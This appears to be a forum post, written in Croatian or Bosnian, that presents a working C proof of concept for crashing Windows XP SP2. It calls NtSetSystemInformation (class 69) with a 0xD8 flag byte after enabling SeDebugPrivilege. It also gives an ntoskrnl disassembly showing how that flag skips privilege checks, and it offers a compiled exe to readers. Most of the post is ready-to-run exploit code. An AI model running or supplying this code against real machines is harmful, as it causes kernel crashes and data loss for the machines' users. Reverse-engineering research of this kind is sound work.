#include <windows.h>
#include <stdio.h>
typedef ULONG NTSTATUS;
typedef (NTAPI *LPNTSETSYSTEMINFORMATION) (IN DWORD, IN PVOID, IN ULONG);
#define LENGTH_MEM 400 // must be between 40 and 4136 bytes
BOOL WINAPI EnablePrivilege(LPCWSTR lpPrivilegeName, BOOL bEnable)
{
TOKEN_PRIVILEGES Privileges;
HANDLE hToken;
BOOL bResult;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken);
Privileges.PrivilegeCount = 1;
Privileges.Privileges[0].Attributes = (bEnable) ? SE_PRIVILEGE_ENABLED : 0;
if (!LookupPrivilegeValueW(NULL, lpPrivilegeName, &Privileges.Privileges[0].Luid)) {
CloseHandle(hToken);
return FALSE;
}
bResult = AdjustTokenPrivileges(hToken, FALSE, &Privileges, 0, NULL, NULL);
CloseHandle(hToken);
return bResult;
}
int main()
{
LPNTSETSYSTEMINFORMATION fNtSetSystemInformation;
char* mem;
NTSTATUS Status;
EnablePrivilege(SE_DEBUG_NAME, TRUE);
fNtSetSystemInformation = (LPNTSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandleA("ntdll.dll"), "NtSetSystemInformation");
if ( fNtSetSystemInformation == NULL ) {
fprintf(stderr, "Cannot find ntdll!NtSetSystemInformation\n");
return 1;
}
mem = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LENGTH_MEM);
mem[3] = 0xD8;
Status = fNtSetSystemInformation(69, mem, LENGTH_MEM);
printf("Status = %08X\n", Status );
getc(stdin);
return 0;
}
Ovo će dati BSOD na fully patched XP SP2. Ovo sam napisao prije jedno godinu i pol dana kad naiđoh na sljedeće zanimljivo parče koda, reversajući ntoskrnl:
PAGE:0056FD70 mov esi, [ebp+var_1C]
PAGE:0056FD73 test esi, esi
PAGE:0056FD75 jl loc_56FE79
PAGE:0056FD7B test byte ptr [ebx+3], 0D8h
PAGE:0056FD7F jz short loc_56FDBB
PAGE:0056FD81 push [ebp+PreviousMode] ; PreviousMode
PAGE:0056FD84 push ds:_SeDebugPrivilege.HighPart
PAGE:0056FD8A push ds:_SeDebugPrivilege.LowPart ; PrivilegeValue
PAGE:0056FD90 call _SeSinglePrivilegeCheck@12 ; SeSinglePrivilegeCheck(x,x,x)
PAGE:0056FD95 test al, al
PAGE:0056FD97 jz short loc_56FDB1
PAGE:0056FD99 push [ebp+PreviousMode] ; PreviousMode
PAGE:0056FD9C push ds:_SeLoadDriverPrivilege.HighPart
PAGE:0056FDA2 push ds:_SeLoadDriverPrivilege.LowPart ; PrivilegeValue
PAGE:0056FDA8 call _SeSinglePrivilegeCheck@12 ; SeSinglePrivilegeCheck(x,x,x)
PAGE:0056FDAD test al, al
PAGE:0056FDAF jnz short loc_56FDBB
Daklem, ako je [ebx+3] == 0D8h, ne provjeravaju se SeDebugPrivilege/SeLoadDriverPrivilege, odnosno skače se na istu lokaciju (loc_56FDBB) kao i da su postavljeni. Međutim, gornji kod svejedno neće raditi osim ako SeDebugPrivilege nije postavljen. Tad nisam baš bio raspoložen prtljati po hotpatching internalijama, jer je sve bilo puno velikih debelih ulančanih structova nepoznatog formata, no prije oko godinu dana se pojavio ovaj EliCZ-ov članak u kojem se dosta toga definiralo, uključujući i flagove koje čine 0xD8 bitmask.
Bilo bi kul kad bi netko još ovo malo više istražio, eventualno vidio na x64 Visti (ja je nemam) postoji li ovaj isti način preko magičnog flaga za srušit kernel, uzimajući u obzir činjenicu da x64 Vista ne dopušta loadanje unsigned drivera i bilo bi (teoretski) nemoguće i instalirati digitalno nepotpisan kernel-mode kod (let alone patchati kernel-mode kod at runtime ;) sa admin privilegijama (dakle i sa SeLoadDriverPrivilege), kao i srušiti kernel.
Attacham kompilirani exe za one lijene.